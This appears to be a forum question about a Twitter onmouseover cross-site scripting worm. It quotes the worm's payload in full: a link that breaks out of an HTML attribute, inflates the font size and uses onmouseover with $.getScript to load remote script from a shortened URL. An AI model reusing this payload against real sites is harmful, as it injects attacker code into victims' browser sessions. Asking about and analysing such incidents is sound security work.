title: Today's XSS onmouseover exploit on twitter.com
body: <p>Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:  </p>
  
  <pre>http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/</pre>
  
  <p>Is this technically an XSS attack or something else?</p>
  
  <p>Here is how the Twitter home page looked like: <a href="http://www.flickr.com/photos/travelist/6832853140/" rel="noreferrer">http://www.flickr.com/photos/travelist/6832853140/</a></p>